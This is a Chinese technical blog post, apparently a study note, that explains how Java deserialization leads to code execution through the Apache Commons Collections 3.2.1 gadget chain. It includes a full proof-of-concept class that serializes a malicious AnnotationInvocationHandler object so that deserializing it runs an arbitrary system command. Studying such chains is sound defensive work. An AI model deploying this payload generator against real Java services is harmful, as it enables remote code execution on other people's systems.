jenkins反序列漏洞跟过一遍之后,虽说梳理清楚了漏洞触发的大体流程,但是对于JAVA反序列化漏洞导致代码执行的原理仍旧不懂,因此有必要整理JAVA反序列化漏洞相关的知识点。
JAVA反序列化漏洞
反序列化漏洞的本质是反序列化机制打破了数据和对象的边界,导致攻击者注入的恶意序列化数据在反序列化过程中被还原成对象,控制了对象就可能在目标系统上面执行攻击代码,而不可信的输入和未检测反序列化对象的安全性是导致反序列化漏洞的常见原因。Java序列化常应用于RMI(Java Remote Method Invocatio, 远程方法调用), JMX(Java Management Extensions, Java管理扩展), JMS(Java Message Service, Java消息服务) 技术中。
利用Apache Commons Collections实现远程代码执行
Apache Commons Collections作为一种公用库,其中实现的一些类可以被反序列化用来实现任意代码执行。这里以以Apache Commons Collections 3.2.1为例,解释如何构造对象,能够让程序在反序列化,即调用readObject()时,就能直接实现任意代码执行。
利用反射机制执行任意代码
国外研究人员发现 InvokerTransformer 类中的 transform() 方法允许通过反射, 执行参数对象的某个方法,并返回执行结果。
public classInvokerTransformerimplementsTransformer,Serializable{
private static final long serialVersionUID = -8653385846894047688L;
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
privateInvokerTransformer(String methodName){
this.iMethodName = methodName;
this.iParamTypes = null;
this.iArgs = null;
}
publicInvokerTransformer(String methodName, Class[] paramTypes, Object[] args){
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
publicObjecttransform(Object input){
if(input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}
可以看到,通过 transform() 方法里的反射,成功调用了 StringBuffer 类的 append() 方法并返回结果。
调用transform()方法
接下来就是要找到某种类,会自动调用 InvokerTransformer 类中的 transform() 方法,构造代码执行。
Apache Commons Collections中实现了 TransformedMap 类,用来对 Map 进行某种变换,只要调用 decorate() 方法,传入key和value的变换对象 Transformer ,即可从任意 Map 对象生成相应的 TransformedMap , decorate() 方法如下:
publicstaticMapdecorate(Map map, Transformer keyTransformer, Transformer valueTransformer){
return new TransformedMap(map, keyTransformer, valueTransformer);
}
Transformer 是一个接口,其中定义的 transform() 方法用来将一个对象转换成另一个对象。如下所示:
public interface Transformer {
public Object transform(Object input);
}
而前面提到的 InvokerTransformer 类实现了 Transformer 接口,因此这里就找到了调用 InvokerTransformer 类 transform() 方法的途径。而现在需要知道的是触发 TransformedMap 类调用 Transformer 的条件是什么?
commons-collections 3.2.2 指出当执行 Map 类的 put() 方法或 MapEntry 类的 setValue() 方法会自动调用 Transformer 。另外多个 Transformer 还能串起来,形成 ChainedTransformer 。
从图中可以看出调用 Map 类的 put() 方法会自动调用 InvokerTransformer 类的 transform() 方法。
突破限制条件
虽然找到了自动调用 InvokerTransformer 类的 transform() 方法的途径,但是需要满足其触发条件:执行 Map 类的 put() 方法或 MapEntry 类的 setValue() 方法。显然这种方式还不够优雅,最佳条件是反序列化(调用 readObject() 方法)时就自动调用 InvokerTransformer 类的 transform() 方法导致代码执行。
java运行库中的 AnnotationInvocationHandler 类, 有一个成员变量 memberValues 是 Map 类型,而且 readObject() 方法中对 memberValues 的每一项调用了 setValue() 方法。
classAnnotationInvocationHandlerimplementsInvocationHandler,Serializable{
private final Classtype;
private final Map
AnnotationInvocationHandler(Classtype, Map
this.type = type;
this.memberValues = memberValues;
}
privatevoidreadObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}
Map
for (Map.Entry
String name = memberValue.getKey();
ClassmemberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
// 此处触发一系列的Transformer
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
因此,我们只需要用前面构造的 Map 来构造 AnnotationInvocationHandler ,进行序列化,当触发 readObject() 反序列化的时候,就能实现命令执行。
//
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
/**
* Created by js on 2017/5/6.
*/
public classTest{
publicstaticvoidmain(String[] args)throwsException{
/*
* Runtime.getRuntime().exec("open /Applications/Calculator.app");
*/
String command = (args.length != 0) ? args[0] : "/bin/sh,-c,open /Applications/Calculator.app";
String[] execArgs = command.split(",");
Transformer[] transforms = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[] {String[].class},
new Object[] {execArgs}
)
};
Transformer transformerChain = new ChainedTransformer(transforms);
Map tempMap = new HashMap();
tempMap.put("hack", "you");
Map exMap = TransformedMap.decorate(tempMap, null, transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, exMap);
File f = new File("payload1");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
oos.writeObject(instance);
oos.flush();
oos.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
// 触发代码执行
Object newObj = ois.readObject();
ois.close();
}
}
这段恶意代码本质上就是利用反射调用 Runtime() 执行了一段系统命令,作用等同于:
((Runtime) Runtime.class.getMethod("getRuntime", null).invoke(null, null)).exec("/bin/sh -c open /Applications/Calculator.app")
当然,反序列化时自动执行任意代码还有其他方式,具体可以分析ysoserial源码,这里就不一一叙述。采用 AnnotationInvocationHandler 类也是有邮件限制的,是否能成功利用与JDK的版本有关。
注: jdk1.8.0_112实验失败.
JAVA反序列化漏洞知识点整理
发表于:2017-08-08
作者:Janes
来源:
 相关文章
聊聊架构设计流程:设计备选方案 Java中的并发编程模型及其应对策略 掌握Java并发编程,避免无处不在的竞态条件 2024年,五个Java开发者应该关注的编程趋势 解除Java反复编译的困扰方法,优化开发效率 改善代码质量,试试这十种方法- 周排行
- 月排行
- 评论排行
-   高效IT:如何利用零代码开发平台快速...
-   生成式人工智能在软件开发过程现代化...
-   一体化好好的,为什么要前后端分离?
-   13种最佳App设计不止有设计美感,更跟...
-   12张图带你彻底理解分布式事务产生的...
-   2023 年 Java 发展趋势
-   Web3应和Web2一样用JavaScript构建
-   系统设计 | 应用、微服务、流程、规则编排
-   值得一试的五大AI编程助手
-   高效IT:如何利用零代码开发平台快速...
-   生成式人工智能在软件开发过程现代化...
-   一体化好好的,为什么要前后端分离?
-   衡量开发人员工作效率的五个技巧
-   2018年最全的App设计资源(工具+模板...
-   从软件出发,非功能测试思考总结
-   展望2017,谁是网络技术头牌?
-   C/C++单元测试工具Visual Unit 4 介绍
-   国内外最好用的6款Bug跟踪管理系统
-   性能测试指标评估必读
-   百度软件测试方案模板
-   38张史上最全的IT工程师技能图谱
-   C/C++单元测试工具Visual Unit 4 介绍
-   2019年,你会选哪些安全测试工具?
-   十款Web服务器性能压力测试工具
-   软件测试入门指南:周期、模型和文档化
-   记自动化测试成神学习之路
-   软件测试全景图 -最全的思维导图